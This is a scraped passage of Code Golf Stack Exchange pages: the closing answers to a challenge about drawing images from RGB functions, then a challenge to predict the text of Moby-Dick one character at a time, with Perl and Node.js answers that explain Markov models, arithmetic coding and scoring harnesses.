only being present on POSIX-compatible systems, it can be replaced with the literal `3.14`. [Answer] I feel compelled to submit this entry that I will call "undefined behavior", which will illustrate what your compiler does with functions that are supposed to return a value but don't: ``` unsigned short red_fn(int i,int j){} unsigned short green_fn(int i,int j){} unsigned short blue_fn(int i,int j){} ``` All black pixels: ![all black pixels](https://i.stack.imgur.com/Atu6Z.png) Pseudo-random pixels: ![pseudo-random pixels](https://i.stack.imgur.com/bbHmK.jpg) And, of course, a host of other possible results depending on your compiler, computer, memory manager, etc. [Answer] I'm not good at math. I was always poor student at math class. So I made simple one. ![mathpic1.png](https://i.stack.imgur.com/hbvIy.png) I used modified [user1455003's Javascript code](https://codegolf.stackexchange.com/a/35595/19759). And [this is my full code](http://bl.ocks.org/Snack-X/906e6d962c93293e2771). ``` function red(x, y) { return (x + y) & y; } function green(x, y) { return (255 + x - y) & x; } function blue(x, y) { // looks like blue channel is useless return Math.pow(x, y) & y; } ``` It's very short so all three functions fits in one tweet. --- ![mathpic2.png](https://i.stack.imgur.com/iVcoa.png) ``` function red(x, y) { return Math.cos(x & y) << 16; } function green(x, y) { return red(DIM - x, DIM - y); } function blue(x, y) { return Math.tan(x ^ y) << 8; } ``` Another very short functions. I found this sierpinski pattern (and some tangent pattern) while messing around with various math functions. [This is full code](http://bl.ocks.org/Snack-X/4b9b286e9c276b11d7dc) [Answer] # Planetary Painter ``` //red static int r[DIM];int p=rand()%9-4;r[i]=i&r[i]?(r[i]+r[i-1])/2:i?r[i-1]:512;r[i]+=r[i]+p>0?p:0;return r[i]?r[i]<DIM?r[i]:DM1:0; //green static int r[DIM];int p=rand()%7-3;r[i]=i&r[i]?(r[i]+r[i-1])/2:i?r[i-1]:512;r[i]+=r[i]+p>0?p:0;return r[i]?r[i]<DIM?r[i]:DM1:0; //blue static int r[DIM];int p=rand()%15-7;r[i]=i&r[i]?(r[i]+r[i-1])/2:i?r[i-1]:512;r[i]+=r[i]+p>0?p:0;return r[i]?r[i]<DIM?r[i]:DM1:0; ``` Inspired by Martin's [obviously awesome entry](https://codegolf.stackexchange.com/a/35626/14215), this is a different take on it. Instead of randomly seeding a portion of the pixels, I start with the top left corner as RGB(512,512,512), and take random walks on each color from there. The result looks like something from a telescope (imo). Each pixel takes the average of the pixels above/left of it and adds a bit o' random. You can play with the variability by changing the `p` variable, but I think what I'm using is a good balance (mainly because I like blue, so more blur volatility gives good results). There's a slight negative bias from integer division when averaging. I think it works out, though, and give a nice darkening effect to the bottom corner. Of course, to get more than just a single result, you'll need to add an `srand()` line to your main function. ![bands](https://i.stack.imgur.com/zv0Ct.png) [Answer] # JavaScript ``` var can = document.createElement('canvas'); can.width=1024; can.height=1024; can.style.position='fixed'; can.style.left='0px'; can.style.top='0px'; can.onclick=function(){ document.body.removeChild(can); }; document.body.appendChild(can); var ctx = can.getContext('2d'); var imageData = ctx.getImageData(0,0,1024,1024); var data = imageData.data; var x = 0, y = 0; for (var i = 0, len = data.length; i < len;) { data[i++] = red(x, y) >> 2; data[i++] = green(x, y) >> 2; data[i++] = blue(x, y) >> 2; data[i++] = 255; if (++x === 1024) x=0, y++; } ctx.putImageData(imageData,0,0); function red(x,y){ if(x>600||y>560) return 1024 x+=35,y+=41 return y%124<20&&x%108<20?1024:(y+62)%124<20&&(x+54)%108<20?1024:0 } function green(x,y){ if(x>600||y>560) return y%160<80?0:1024 x+=35,y+=41 return y%124<20&&x%108<20?1024:(y+62)%124<20&&(x+54)%108<20?1024:0 } function blue(x,y) { return ((x>600||y>560)&&y%160<80)?0:1024; } ``` ![usa](https://i.stack.imgur.com/csXrZ.png) Another version. function bodies are tweetable. ``` function red(x,y){ c=x*y%1024 if(x>600||y>560) return c x+=35,y+=41 return y%124<20&&x%108<20?c:(y+62)%124<20&&(x+54)%108<20?c:0 } function green(x,y){ c=x*y%1024 if(x>600||y>560) return y%160<80?0:c x+=35,y+=41 return y%124<20&&x%108<20?c:(y+62)%124<20&&(x+54)%108<20?c:0 } function blue(x,y) { return ((x>600||y>560)&&y%160<80)?0:x*y%1024; } ``` ![enter image description here](https://i.stack.imgur.com/tnWuI.png) Revised image render function. draw(rgbFunctions, setCloseEvent); ``` function draw(F,e){ var D=document var c,id,d,x,y,i,L,s=1024,b=D.getElementsByTagName('body')[0] c=D.createElement('canvas').getContext('2d') if(e)c.canvas.onclick=function(){b.removeChild(c.canvas)} b.appendChild(c.canvas) c.canvas.width=c.canvas.height=s G=c.getImageData(0,0,s,s) d=G.data x=y=i=0; for (L=d.length;i<L;){ d[i++]=F.r(x,y)>>2 d[i++]=F.g(x,y)>>2 d[i++]=F.b(x,y)>>2 d[i++]=255; if(++x===s)x=0,y++ } c.putImageData(G,0,0) } ``` # Purple ``` var purple = { r: function(i,j) { if (j < 512) j=1024-j return (i % j) | i }, g: function(i,j){ if (j < 512) j = 1024 -j return (1024-i ^ (i %j)) % j }, b: function(i,j){ if (j < 512) j = 1024 -j return 1024-i | i+j %512 } }; draw(purple,true); ``` ![enter image description here](https://i.stack.imgur.com/5HPJT.jpg) [Answer] # Reflected waves ``` unsigned char RD(int i,int j){ #define A static double w=8000,l,k,r,d,p,q,a,b,x,y;x=i;y=j;for(a=8;a+9;a--){for(b=8;b+9;b--){l=i-a*DIM-(int(a)%2?227:796); return 0;} unsigned char GR(int i,int j){ #define B k=j-b*DIM-(int(b)%2?417:606);r=sqrt(l*l+k*k);d=16*cos((r-w)/7)*exp(-_sq(r-w)/120);p=d*l/r;q=d*k/r;x-=p;y-=q;}} return 0;} unsigned char BL(int i,int j){AB return (int(x/64)+int(y/64))%2*255;} ``` A basic chess board pattern distorted according to the position of a wave expanding from a point like a stone dropped in a pond (very far from physically accurate!). The variable `w` is the number of pixels from that point that the wave has moved. If `w` is large enough, the wave reflects from the sides of the image. ## `w` = 225 ![waves with w=225](https://i.stack.imgur.com/pcXbG.png "waves with 2=225") ## `w` = 360 ![waves with w=360](https://i.stack.imgur.com/HkJlZ.png "waves with w=360") ## `w` = 5390 ![waves with w=5390](https://i.stack.imgur.com/baL5V.png "waves with w=5390") Here is a GIF showing a succession of images as the wave expands. I've provided a number of different sizes, each showing as many frames as the 500KB file size limit will allow. ![waves large GIF](https://i.stack.imgur.com/E5P5j.gif "waves large GIF") ![waves small GIF](https://i.stack.imgur.com/TFaIn.gif "waves small GIF") ![waves medium GIF](https://i.stack.imgur.com/nNOs0.gif "waves medium GIF") --- If I can find a way to fit it in, I'd ideally like to have wave interference modelled so that the waves look more realistic when they cross. I'm pleased with the reflection though. Note that I haven't really modelled wave reflection in 3 lots of 140 bytes. There's not really any reflection going on, it just happens to look like it. I've hidden the explanation in case anyone wants to guess first: > > The first reflected wave is identical to a wave originating from the other side of the image edge, the same distance away as the original point. So the code calculates the correct position for the 4 points required to give the effect of reflection from each of the 4 edges. Further levels of reflected wave are all identical to a wave originating in a further away tile, if you imagine the image as one tile in a plane. The code gives the illusion of 8 levels of reflection by displaying 189 separate expanding circles, each placed in the correct point in a 17 by 17 grid, so that they pass through the central square of the grid (that is, the image square) at just the right times to give the impression of the required current level of reflection. This is simple (and short!) to code, but runs quite slowly... > > > ]
[Question] [ [Here is a 1.2Mb ASCII text file](https://gist.githubusercontent.com/nathanielvirgo/73b4181917f83c0cd306bd0d8f4c998a/raw/208774322bad4e04715eae743d7d350b504fe5eb/whale2.txt) containing the text of Herman Melville's *Moby-Dick; or, The Whale*. Your task is to write a program or function (or class, etc. -- see below) which will be given this file one character at a time, and at each step must guess the next character. This is [code-challenge](/questions/tagged/code-challenge "show questions tagged 'code-challenge'"). Your score will be ``` 2*L + E ``` where `L` is the size of your submission in bytes, and `E` is the number of characters it guesses incorrectly. The lowest score wins. **Further particulars** Your submission will be a program or function (etc.) that will be called or invoked or sent data multiple times. (1215235 times to be exact.) When it is called for the *n*th time it will be given the *n*th character of `whale.txt` or `whale2.txt` and it must output its guess for the (*n+1*)th character. The `E` component of its score will be the total number of characters that it guesses incorrectly. Most submissions will need to store some state in between invocations, so that they can track how many times they have been called and what the previous inputs were. You can do this by writing to an external file, by using `static` or global variables, by submitting a class rather than a function, using a state monad, or whatever else works for your language. Your submission must include any code required to initialise its state before the first invocation. Your program should run deterministically, so that it always makes the same guesses given the same input (and hence always gets the same score). Your answer must include not only your submission, but also the code you used to calculate the `E` part of its score. This need not be written in the same language as your submission, and will not be counted towards its byte count. You are encouraged to make it readable. Regarding the interface between your submission and this score-calculating program, anything is fine, as long as your program always gives one byte of output before receiving its next byte of input. (So, for example, you can't just pass it a string containing all of the input and get a string back containing all of the output.) You must actually run your test program and calculate/verify your score before submitting your entry. If your submission runs too slowly for you to verify its score then it is not qualified to compete, even if you know what its score would be in principle. The `L` component of your score will be calculated according to the usual rules for code golf challenges. If your submission will contain multiple files, please take note of the rules on [scoring](https://codegolf.meta.stackexchange.com/a/4934/21034) and [directory structure](https://codegolf.meta.stackexchange.com/a/12821/21034) in that case. Any data that your code uses must be included in your `L` score. You may import existing libraries but may not load any other external files, and your code may not access the `whale.txt` or `whale2.txt` file in any way other than described above. You may not load any pre-trained neural networks or other sources of statistical data. (It's fine to use neural networks, but you have to include the weight data in your submission and count it towards your byte count.) If for some reason your language or libraries include a feature that provides some or all of the text of Moby Dick, you may not use that feature. Aside from that you can use any other built-in or library features that you like, including ones relating to text processing, prediction or compression, as long as they're part of your language or its standard libraries. For more exotic, specialised routines that include sources of statistical data, you would have to implement them yourself and include them in your byte count. It is likely that some submissions will include components that are themselves generated by code. If this is the case, **please include in your answer the code that was used to produce them, and explain how it works**. (As long as this code is not needed to run your submission it will not be included in your byte count.) For historical reasons, there are two versions of the file, and you may use either of them in an answer. In [`whale2.txt`](https://gist.githubusercontent.com/nathanielvirgo/73b4181917f83c0cd306bd0d8f4c998a/raw/208774322bad4e04715eae743d7d350b504fe5eb/whale2.txt) (linked above) the text is not wrapped, so newlines appear only at the end of paragraphs. In the original [`whale.txt`](https://gist.githubusercontent.com/nathanielvirgo/5cdbb0504f473830074268a9d65e8b39/raw/3d1bdd13d10da999d3b3ca95fd134548ef8e4e67/whale.txt) the text is wrapped to a width of 74 characters, so you have to predict the end of each line as well as predicting the text. This makes the challenge more fiddly, so `whale2.txt` is recommended for new answers. Both files are the same size, 1215236 bytes. --- To summarise, all answers should include the following things: * Your submission itself. (The code, plus any data files it uses - these can be links if they're large.) * **An explanation of how your code works.** Please explain the I/O method as well as how it predicts the next character. The explanation of your algorithm is important, and good explanations will earn bounties from me. * The code you used to evaluate your score. (If this is identical to a previous answer you can just link to it.) * Any code you used to generate your submission, **along with an explanation of that code.** This includes code that you used to optimise parameters, generate data files etc. (This doesn't count towards your byte count but should be included in your answer.) # Leaderboard ``` var QUESTION_ID=152856,OVERRIDE_USER=21034;function answersUrl(e){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"https://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.size).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.language;/<a/.test(o)&&(o=jQuery(o).text()),s[o]=s[o]||{lang:e.language,user:e.user,size:e.size,link:e.link}});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){return e.lang>s.lang?1:e.lang<s.lang?-1:0});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.lang).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.size).replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<h\d>\s*([^\n,]*[^\s,]),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/,OVERRIDE_REG=/^Override\s*header:\s*/i; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:380px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Score</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` # Bounties From time to time I'll offer bounties to encourage different approaches. The first one, 50 points, was awarded to A. Rex for the best-scoring answer at the time. The second, 100 points, was also awarded to A. Rex, for the same answer, because they added a very good explanation to their existing answer. The next bounty, **200 points**, will be awarded to either * A competitive answer that uses a new technique. (This will be based on my subjective judgment since it's my rep that goes into the bounty, but you can trust me to be fair. Note that your answer needs to contain sufficient explanation for me to understand how it works!) Such an answer needn't take the top score, it just needs to do reasonably well compared to existing answers. I'm particularly keen to see solutions based on recurrent neural networks, but I'll award the bounty to anything that seems different enough from the Markov models that dominate the current top scores. Or: * Anyone else who beats A. Rex's top score (currently 444444), using any method. Once the 200 point bounty is claimed I will most likely offer a 400 point one, updating the requirements accordingly. [Answer] # [///](http://esolangs.org/wiki////), 2\*1 + 1020874 = 1020876 ``` ``` Prints a space. [Answer] # Perl, 2·70525 + 326508 = 467558 ## Predictor ``` $m=($u=1<<32)-1;open B,B;@e=unpack"C*",join"",<B>;$e=2903392593;sub u{int($_[0]+($_[1]-$_[0])*pop)}sub o{$m&(pop()<<8)+pop}sub g{($h,%m,@b,$s,$E)=@_;if($d eq$h){($l,$u)=(u($l,$u,$L),u($l,$u,$U));$u=o(256,$u-1),$l=o($l),$e=o(shift@e,$e)until($l^($u-1))>>24}$M{"@c"}{$h}++-++$C{"@c"}-pop@c for@p=($h,@c=@p);@p=@p[0..19]if@p>20;@c=@p;for(@p,$L=0){$c="@c";last if" "ne pop@c and@c<2 and$E>99;$m{$_}+=$M{$c}{$_}/$C{$c}for sort keys%{$M{$c}};$E+=$C{$c}}$s>5.393*$m{$_}or($s+=$m{$_},push@b,$_)for sort{$m{$b}<=>$m{$a}}sort keys%m;$e>=u($l,$u,$U=$L+$m{$_}/$s)?$L=$U:return$d=$_ for sort@b} ``` To run this program, you need [this file here](https://www.dropbox.com/s/0tuq5loupk95cdj/B), which must be named `B`. (You can change this filename in the *second* instance of the character `B` above.) See below for how to generate this file. The program uses a combination of Markov models essentially as in [this answer by user2699](https://codegolf.stackexchange.com/a/153050/49643), but with a few small modifications. This produces a *distribution* for the next character. We use information theory to decide whether to accept an error or spend bits of storage in `B` encoding hints (and if so, how). We use [arithmetic coding](https://en.wikipedia.org/wiki/Arithmetic_coding) to optimally store fractional bits from the model. The program is 582 bytes long (including an unnecessary final newline) and the binary file `B` is 69942 bytes long, so [under the rules for scoring multiple files](https://codegolf.meta.stackexchange.com/questions/4933/counting-bytes-for-multi-file-programs/4934#4934), we score `L` as 582 + 69942 + 1 = 70525. The program almost certainly requires a 64-bit (little-endian?) architecture. It takes approximately 2.5 minutes to run on an `m5.large` instance on Amazon EC2. ## Test code ``` # Golfed submission require "submission.pl"; use strict; use warnings; use autodie; # Scoring length of multiple files adds 1 penalty my $length = (-s "submission.pl") + (-s "B") + 1; # Read input open my $IN, "<", "whale2.txt"; my $input = do { local $/; <$IN> }; # Run test harness my $errors = 0; for my $i ( 0 .. length($input)-2 ) { my $current = substr $input, $i, 1; my $decoded = g( $current ); my $correct = substr $input, $i+1, 1; my $error_here = 0 + ($correct ne $decoded); $errors += $error_here; } # Output score my $score = 2 * $length + $errors; print <<EOF; length $length errors $errors score $score EOF ``` The test harness assumes the submission is in the file `submission.pl`, but this can easily be changed in the second line. ## Text comparison ``` "And did none of ye see it before?" cried Ahab, hailing the perched men all around him.\\"I saw him almost that same instant, sir, that Captain "And wid note of te fee bt seaore cried Ahab, aasling the turshed aen inl atound him. \"' daw him wsoost thot some instant, wer, that Saptain "And _id no_e of _e _ee _t _e_ore__ cried Ahab, _a_ling the __r_hed _en __l a_ound him._\"_ _aw him ___ost th_t s_me instant, __r, that _aptain Ahab did, and I cried out," said Tashtego.\\"Not the same instant; not the same--no, the doubloon is mine, Fate reserved the doubloon for me. I Ahab aid ind I woued tut, said tashtego, \"No, the same instant, tot the same -tow nhe woubloon ws mane. alte ieserved the seubloon ior te, I Ahab _id_ _nd I ___ed _ut,_ said _ashtego__\"No_ the same instant_ _ot the same_-_o_ _he _oubloon _s m_ne_ __te _eserved the __ubloon _or _e_ I only; none of ye could have raised the White Whale first. There she blows!--there she blows!--there she blows! There again!--there again!" he cr gnly towe of ye sould have tersed the shite Whale aisst Ihere ihe blows! -there she blows! -there she blows! Ahere arains -mhere again! ce cr _nly_ _o_e of ye _ould have ___sed the _hite Whale _i_st_ _here _he blows!_-there she blows!_-there she blows! _here a_ain__-_here again!_ _e cr ``` This sample (chosen in [another answer](https://codegolf.stackexchange.com/a/152958/49643)) occurs rather late in the text, so the model is quite developed by this point. Remember that the model is augmented by 70 kilobytes of "hints" that directly help it guess the characters; it is not driven simply by the short snippet of code above. ## Generating hints The following program accepts the exact submission code above (on standard input) and generates the exact `B` file above (on standard output): ``` @S=split"",join"",<>;eval join"",@S[0..15,64..122],'open W,"whale2.txt";($n,@W)=split"",join"",<W>;for$X(0..@W){($h,$n,%m,@b,$s,$E)=($n,$W[$X]);',@S[256..338],'U=0)',@S[343..522],'for(sort@b){$U=($L=$U)+$m{$_}/$s;if($_ eq$n)',@S[160..195],'X<128||print(pack C,$l>>24),',@S[195..217,235..255],'}}' ``` It takes approximately as long to run as the submission, as it performs similar computations. ## Explanation In this section, we will attempt to describe what this solution does in sufficient detail that you could "try it at home" yourself. The main technique that differentiates this answer from the other ones is a few sections down as the "rewind" mechanism, but before we get there, we need to set up the basics. ### Model The basic ingredient of the solution is a language model. For our purposes, a *model* is something that takes some amount of English text and returns a *probability distribution* on the next character. When we use the model, the English text will be some (correct) prefix of Moby Dick. Please note that the desired output is a *distribution*, and not just a single guess for the most likely character. In our case, we essentially use the model in [this answer by user2699](https://codegolf.stackexchange.com/a/153050/49643). We didn't use the model from the highest-scoring answer (other than our own) [by Anders Kaseorg](https://codegolf.stackexchange.com/a/152968/49643) precisely because we were unable to extract a distribution rather than a single best guess. In theory, that answer computes a weighted geometric mean, but we got somewhat poor results when we interpreted that too literally. We "stole" a model from another answer because our "secret sauce" isn't the model but rather the overall approach. If someone has a "better" model, then they should be able to get better results using the rest of our techniques. As a remark, most compression methods such as Lempel-Ziv can be seen as being a "language model" in this way, though one might have to squint a little bit. (It's particularly tricky for something that does a Burrows-Wheeler transform!) Also, note that the model by user2699 is a modification of a Markov model; essentially nothing else is competitive for this challenge or perhaps even modeling text in general. ### Overall architecture For the purposes of understanding, it's nice to break up the overall architecture into several pieces. From the highest-level perspective, there needs to be a little bit of state management code. This isn't particularly interesting, but for completeness we want to stress that at every point the program is asked for the next guess, it has available to it a correct prefix of Moby Dick. We do not use our past incorrect guesses in any way. For efficiency's sake, the language model can probably reuse its state from the first N characters to compute its state for the first (N+1) characters, but in principle, it could recompute things from scratch every time it is invoked. Let's set this basic "driver" of the program aside and peek inside the part that guesses the next character. It helps conceptually to separate three parts: the language model (discussed above), a "hints" file, and an "interpreter". At each step, the interpreter will ask the language model for a distribution for the next character and possibly read some information from the hints file. Then it will combine these parts into a guess. Precisely what information is in the hints file as well as how it is used will be explained later, but for now it helps to keep these parts separate mentally. Note that implementation-wise, the hints file is literally a separate (binary) file but it could have been a string or something stored inside the program. As an approximation, we pretend that the model and interpreter are pretty short, so we can approximate that as "L ≈ 0". If one is using a standard compression method such as [bzip2 as in this answer](https://codegolf.stackexchange.com/a/152931/49643), the "hints" file corresponds to the compressed file. The "interpreter" corresponds to the decompressor, while the "language model" is a bit implicit (as mentioned above). ### Why use a hint file? Let's pick a simple example to analyze further. Suppose that the text is `N` characters long and well-approximated by a model wherein every character is (independently) the letter `E` with probability slightly less than a half, `T` similarly with probability slightly less than a half, and `A` with probability 1/1000 = 0.1%. Let's assume no other characters are possible; in any case, the `A` is pretty similar to the case of a previously unseen character out of the blue. If we operated in the L 0 regime (as most, but not all, of the other answers to this question do), there's no better strategy for the interpreter than pick one of `E` and `T`. On average, it will get about half of the characters correct. So E ≈ N/2 and the score ≈ N/2 also. However, if we use a compression strategy, then we can compress to a little more than one bit per character. Because L is counted in bytes, we get L ≈ N/8 and thus score ≈ N/4, twice as good as the previous strategy. Achieving this rate of a little more than one bit per character for this model is slightly nontrivial, but one method is arithmetic coding. ### Arithmetic coding As is commonly-known, an *encoding* is a way of representing some data using bits/bytes. For example, ASCII is a 7 bit/character encoding of English text and related characters, and it is the encoding of the original Moby Dick file under consideration. If some letters are more common than others, then a fixed-width encoding like ASCII is not optimal. In such a situation, many people reach for [Huffman coding](https://en.wikipedia.org/wiki/Huffman_coding). This is optimal if you want a fixed (prefix-free) code with an integer number of bits per character. However, [arithmetic coding](https://en.wikipedia.org/wiki/Arithmetic_coding) is even better. Roughly speaking, it is able to use "fractional" bits to encode information. There are many guides to arithmetic coding available online. We'll skip the details here (especially of the practical implementation, which can be a little tricky from a programming perspective) because of the other resources available online, but if someone complains, maybe this section can be fleshed out more. If one has text actually generated by a known language model, then arithmetic coding provides an essentially-optimal encoding of text from that model. In some sense, this "solves" the compression problem for that model. (Thus in practice, the main issue is that the model isn't known, and some models are better than others at modeling human text.) If it was not allowed to make errors in this contest, then in the language of the previous section, one way to produce a solution to this challenge would have been to use an arithmetic encoder to generate a "hints" file from the language model and then use an arithmetic decoder as the "interpreter". In this essentially-optimal encoding, we end up spending -log\_2(p) bits for a character with probability p, and the overall bit-rate of the encoding is the [Shannon entropy](https://en.wikipedia.org/wiki/Shannon_entropy). This means that a character with probability near 1/2 takes about one bit to encode, while one with probability 1/1000 takes about 10 bits (because 2^10 is roughly 1000). But the scoring metric for this challenge was well-chosen to avoid compression as the optimal strategy. We'll have to figure out some way to make some errors as a tradeoff for getting a shorter hints file. For example, one strategy one might try is a simple branching strategy: we generally try to use arithmetic encoding when we can, but if the probability distribution from the model is "bad" in some way we just guess the most likely character and don't try encoding it. ### Why make errors? Let's analyze the example from before to motivate why we might want to make errors "intentionally". If we use arithmetic coding to encode the correct character, we will spend roughly one bit in the case of an `E` or `T`, but about ten bits in the case of an `A`. Overall, this is a pretty good encoding, spending a little over a bit per character even though there are three possibilities; basically, the `A` is fairly unlikely and we don't end up spending its corresponding ten bits too often. However, wouldn't it be nice if we could just make an error instead in the case of an `A`? After all, the metric for the problem considers 1 byte = 8 bits of length to be equivalent to 2 errors; thus it seems like one should prefer an error instead of spending more than 8/2 = 4 bits on a character. Spending more than a byte to save one error definitely sounds suboptimal! ### The "rewind" mechanism This section describes the main clever aspect of this solution, which is a way to handle incorrect guesses at no cost in length. For the simple example we've been analyzing, the rewind mechanism is particularly straightforward. The interpreter reads one bit from the hints file. If it is a 0, it guesses `E`. If it is a 1, it guesses `T`. The next time it is called, it sees what the correct character is. If the hint file is set up well, we can ensure that in the case of an `E` or `T`, the interpreter guesses correctly. But what about `A`? The idea of the rewind mechanism is to simply *not code `A` at all*. More precisely, if the interpreter later learns that the correct character was an `A`, it metaphorically "*rewinds* the tape": it returns the bit it read previously. The bit it read does intend to code `E` or `T`, but not now; it will be used later. In this simple example, this basically means that it *keeps* guessing the same character (`E` or `T`) until it gets it right; then it reads another bit and keeps going. The encoding for this hints file is very simple: turn all of the `E`s into 0 bits and `T`s into 1 bits, all while ignoring `A`s entirely. By the analysis at the end of the previous section, this scheme makes some errors but reduces the score overall by not encoding any of the `A`s. As a smaller effect, it actually saves on the length of the hints file as well, because we end up using exactly one bit for each `E` and `T`, instead of slightly more than a bit. ### A little theorem How do we decide when to make an error? Suppose our model gives us a probability distribution P for the next character. We will separate the possible characters into two classes: *coded* and *not coded*. If the correct character is not coded, then we will end up using the "rewind" mechanism to accept an error at no cost in length. If the correct character is coded, then we will use some other distribution Q to encode it using arithmetic coding. But what distribution Q should we choose? It's not too hard to see that the coded characters should all have higher probability (in P) than the not coded characters. Also, the distribution Q should only include the coded characters; after all, we're not coding the other ones, so we shouldn't be "spending" entropy on them. It's a little trickier to see that the probability distribution Q should be proportional to P on the coded characters. Putting these observations together means that we should code the most-likely characters but possibly not the less-likely characters, and that Q is simply P rescaled on the coded characters. It furthermore turns out that there's a cool theorem regarding which "cutoff" one should pick for the coding characters: you should code a character as long as it is at least 1/5.393 as likely as the other coded characters combined. This "explains" the appearance of the seemingly random constant `5.393` nearer the end of the program above. The number 1/5.393 ≈ 0.18542 is the solution to the equation [-p log(16) - p log p + (1+p) log(1+p) = 0](https://www.wolframalpha.com/input/?i=solve+-p+log%2816%29+-+p+log+p+%2B+%281%2Bp%29+log%281%2Bp%29+%3D+0+for+p). Perhaps it's a reasonable idea to write out this procedure in code. This snippet is in C++: ``` // Assume the model is computed elsewhere. unordered_map<char, double> model; // Transform p to q unordered_map<char, double> code; priority_queue<pair<double,char>> pq; for( char c : CHARS ) pq.push( make_pair(model[c], c) ); double s = 0, p; while( 1 ) { char c = pq.top().second; pq.pop(); p = model[c]; if( s > 5.393*p ) break; code[c] = p; s += p; } for( auto& kv : code ) { char c = kv.first; code[c] /= s; } ``` ### Putting it all together The previous section is unfortunately a little technical, but if we put all of the other pieces together, the structure is as follows. Whenever the program is asked to predict the next character after a given correct character: 1. Add the correct character to the known correct prefix of Moby Dick. 2. Update the (Markov) model of the text. 3. The **secret sauce**: If the previous guess was incorrect, *rewind* the state of the arithmetic decoder to its state before the previous guess! 4. Ask the Markov model to predict a probability distribution P for the next character. 5. Transform P to Q using the subroutine from the previous section. 6. Ask the arithmetic decoder to decode a character from the remainder of the hints file, according to the distribution Q. 7. Guess the resulting character. The encoding of the hints file operates similarly. In that case, the program knows what the correct next character is. If it is a character that should be coded, then of course one should use the arithmetic encoder on it; but if it is a not coded character, it just doesn't update the state of the arithmetic encoder. If you understand the information-theoretic background like probability distributions, entropy, compression, and arithmetic coding but tried and failed to understand this post (except why the theorem is true), let us know and we can try to clear things up. Thanks for reading! [Answer] # Node.js, 2\*224 + 524279 = 524727 *Please refer to the change log at the end of this post for score updates.* A function taking and returning a byte. ``` a=[...l='14210100'],m={},s={},b={} f=c=>a.some((t,n)=>x=s[y=l.slice(n)]>t|/^[A-Z '"(]/.test(y)&&b[y],l+=String.fromCharCode(c),a.map((_,n)=>(m[x=l.slice(n)]=-~m[x])<s[y=l.slice(n,8)]||(s[y]=m[x],b[y]=c)),l=l.slice(1))&&x||32 ``` It consists of a simple [PPM model](https://en.wikipedia.org/wiki/Prediction_by_partial_matching) that looks at the last 8 characters to predict the next one. We trust a pattern of length **L** when we have encountered it at least **T[L]** times, where **T** is an array of arbitrary thresholds: **[1,1,2,1,2,3,5,2]**. Furthermore, we always trust a pattern whose first character matches `[A-Z '"(]`. We select the longest trusted pattern and return the prediction with the highest score associated to this pattern at the time of the call. ### Notes * This is obviously not optimized for speed, but it runs in about 15 seconds on my laptop. * If we were allowed to repeat the process several times in a row without resetting the model, the number of errors would converge to ~268000 after 5 iterations. * The current success rate of the prediction function is ~56.8%. As noticed by @immibis in the comments, if bad and correct guesses are mixed together, the result is not even barely readable. For instance, this snippet near the end of the book: ``` Here be it said, that this pertinacious pursuit of one particular whale,[LF] continued through day into night, and through night into day, is a thing[LF] by no means unprecedented in the South sea fishery. ``` becomes: ``` "e e be it said, that thes woacangtyous sarsuet of tie oort cular thale[LF][LF] orsinued toeough tir on e togh and sheough toght an o ters af t shin[LF][LF] be to means 